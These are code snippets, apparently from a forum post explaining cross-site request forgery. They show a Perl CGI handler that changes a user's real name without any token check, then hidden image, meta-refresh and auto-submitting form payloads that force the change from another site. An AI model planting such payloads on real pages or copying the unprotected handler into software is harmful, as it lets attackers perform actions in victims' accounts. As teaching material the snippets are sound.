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Select or download this

<form action="http://yourdomain.example/script" method="POST">
<input type="text" name="realname">
<input type="submit" name="submit.save_realname" value="Save">
</form>

Select or download this

if ($cgi->param('submit.save_realname')) {
  my $name = $cgi->param('realname');
...
  $user->realname($name);
  $user->update;
}

Select or download this

<img src="http://yourdomain.example/script?submit.save_realname=1;real
+name=owned" height="0" width="0" alt="">
or even:
<meta http-equiv="refresh" content="0; URL=http://yourdomain.example/s
+cript?submit.save_realname=1;realname=owned">

Select or download this

<body onLoad="document.forms[0].submit()">
<form action="http://yourdomain.example/script" method="POST">
<input type="text" name="realname">
<input type="submit" name="submit.save_realname" value="Save">
</form>